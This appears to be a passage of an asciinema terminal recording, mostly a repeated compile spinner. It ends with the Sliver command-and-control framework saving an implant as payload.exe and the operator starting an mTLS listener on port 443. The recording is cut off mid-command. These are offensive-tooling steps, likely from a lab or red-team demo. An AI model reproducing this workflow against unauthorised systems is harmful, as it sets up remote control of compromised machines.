"\r\u001b[2K ⠋ Compiling, please wait ..."] +[59.382131, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[59.482534, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[59.582941, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[59.683363, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[59.783768, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[59.884168, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[59.984492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[60.084869, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[60.185265, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[60.285676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[60.386062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[60.486465, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[60.586878, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[60.687248, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[60.787638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[60.888062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[60.988848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[61.089144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[61.189563, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[61.289966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[61.390352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[61.490762, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[61.591224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[61.691578, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[61.79198, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[61.892385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[61.992773, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[62.093182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[62.193771, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[62.294179, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[62.394567, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[62.495003, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[62.595489, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[62.695865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[62.796274, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[62.896676, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[62.996946, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[63.097368, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[63.197753, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[63.298171, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[63.398576, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[63.498954, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[63.599398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[63.699798, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[63.800104, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[63.900722, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[64.001097, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[64.101507, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[64.201892, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[64.30221, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[64.402601, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[64.50301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[64.603386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[64.70372, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[64.804132, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[64.904475, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[65.004787, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[65.105189, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[65.205872, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[65.306125, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[65.406523, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[65.50694, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[65.60738, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[65.707757, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[65.808174, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[65.908508, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[66.008893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[66.109256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[66.209656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[66.310041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[66.410445, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[66.510851, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[66.611254, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[66.711671, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[66.812075, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[66.912456, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[67.012852, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[67.113259, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[67.213677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[67.314064, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[67.414464, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[67.514877, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[67.615287, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[67.7156, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[67.816035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[67.916479, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[68.016867, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[68.117256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[68.217673, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[68.318074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[68.418458, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[68.518881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[68.619309, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[68.719694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[68.820101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[68.920492, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[69.021909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[69.122323, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[69.22276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[69.323164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[69.423547, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[69.523865, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[69.624295, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[69.724699, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[69.825103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[69.925515, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[70.025957, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[70.126349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[70.226959, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[70.327365, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[70.427754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[70.528121, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[70.628494, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[70.728901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[70.829304, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[70.929709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[71.030115, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[71.13052, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[71.230937, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[71.331377, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[71.431787, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[71.532172, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[71.632484, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[71.732865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[71.833282, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[71.933713, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[72.034101, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[72.134481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[72.234968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[72.335385, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[72.435802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[72.536205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[72.636621, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[72.737031, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[72.837414, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[72.937811, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[73.038208, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[73.138645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[73.239036, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[73.339413, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[73.439815, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[73.540193, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[73.640579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[73.740986, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[73.841425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[73.941805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[74.042193, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[74.14405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[74.244436, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[74.344812, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[74.445225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[74.545622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[74.646031, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[74.74642, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[74.846823, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[74.947239, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[75.047631, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[75.148039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[75.248461, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[75.348851, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[75.44925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[75.549652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[75.650025, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[75.750385, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[75.850777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[75.951215, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[76.051576, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[76.151976, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[76.252363, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[76.352775, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[76.453189, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[76.553558, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[76.653938, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[76.754343, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[76.854749, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[76.95517, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[77.055531, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[77.155937, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[77.256294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[77.35668, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[77.45706, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[77.557462, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[77.65787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[77.75826, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[77.858666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[77.959055, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[78.059452, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[78.159833, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[78.260263, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[78.360644, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[78.461032, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[78.561441, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[78.661823, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[78.762231, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[78.862655, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[78.963027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[79.063401, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[79.163835, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[79.265475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[79.365878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[79.466288, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[79.566721, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[79.66709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[79.767478, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[79.867894, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[79.968304, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[80.068694, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[80.169087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[80.269465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[80.369838, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[80.470219, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[80.570601, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[80.671007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[80.771398, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[80.8718, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[80.972194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[81.072498, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[81.172906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[81.273319, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[81.373766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[81.47417, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[81.574592, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[81.674979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[81.775365, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[81.875663, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[81.976053, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[82.076504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[82.176927, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[82.277336, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[82.377703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[82.478128, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[82.578609, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[82.678987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[82.779415, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[82.879714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[82.980011, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[83.080411, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[83.180785, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[83.281174, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[83.381599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[83.482005, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[83.582444, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[83.682822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[83.783246, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[83.883634, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[83.984015, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[84.084418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[84.184812, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[84.285233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[84.386403, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[84.486736, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[84.587242, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[84.687536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[84.787924, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[84.88833, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[84.988737, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[85.089133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[85.189522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[85.289919, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[85.390347, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[85.490743, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[85.591169, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[85.691549, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[85.791991, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[85.892392, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[85.992783, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[86.093186, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[86.193587, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[86.294408, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[86.394599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[86.495166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[86.595536, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[86.695959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[86.796374, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[86.896772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[86.997172, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[87.097591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[87.197964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[87.298394, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[87.398806, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[87.499234, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[87.599648, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[87.70005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[87.800474, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[87.900877, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[88.001287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[88.101698, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[88.202101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[88.302622, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[88.403036, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[88.503374, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[88.603703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[88.704091, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[88.804494, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[88.904893, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[89.005224, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[89.105629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[89.206034, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[89.306448, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[89.40675, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[89.507197, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[89.607577, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[89.707992, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[89.808388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[89.908795, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[90.009226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[90.109642, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[90.210036, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[90.310443, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[90.410846, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[90.51127, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[90.611653, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[90.712036, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[90.812422, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[90.912748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[91.013185, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[91.113567, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[91.213948, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[91.314376, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[91.414783, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[91.515188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[91.615594, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[91.716005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[91.816438, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[91.916837, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[92.017253, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[92.117667, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[92.218056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[92.318456, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[92.418883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[92.5193, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[92.619736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[92.720141, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[92.82049, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[92.920861, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[93.021335, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[93.121763, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[93.222188, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[93.322569, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[93.423057, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[93.523486, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[93.623822, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[93.724235, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[93.824613, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[93.925022, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[94.025447, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[94.125856, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[94.22635, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[94.326765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[94.427244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[94.527703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[94.628145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[94.728567, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[94.829008, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[94.929438, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[95.029854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[95.130289, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[95.230681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[95.331145, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[95.431481, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[95.531904, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[95.628091, "o", "\r\u001b[2K\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"] +[95.659372, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/payload.exe\r\n\r\n"] +[95.659476, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[97.061722, "o", "\u001b[J\u001b[2K\r"] +[97.062103, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mm"] +[97.358454, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmt"] +[97.762293, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtl"] +[97.885796, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls"] +[98.107419, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls "] +[98.25878, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls -"] +[98.4377, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --"] +[98.890433, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --l"] +[99.288224, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lp"] +[99.486671, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport "] +[100.534346, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 4"] +[100.730113, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 44"] +[100.847884, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443"] +[101.467008, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\r\n"] +[101.467225, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting mTLS listener ...\r\n"] +[101.470339, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #3\r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[102.899959, "o", "\u001b[J\u001b[2K\r"] +[102.900598, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mj"] +[103.039168, "o", 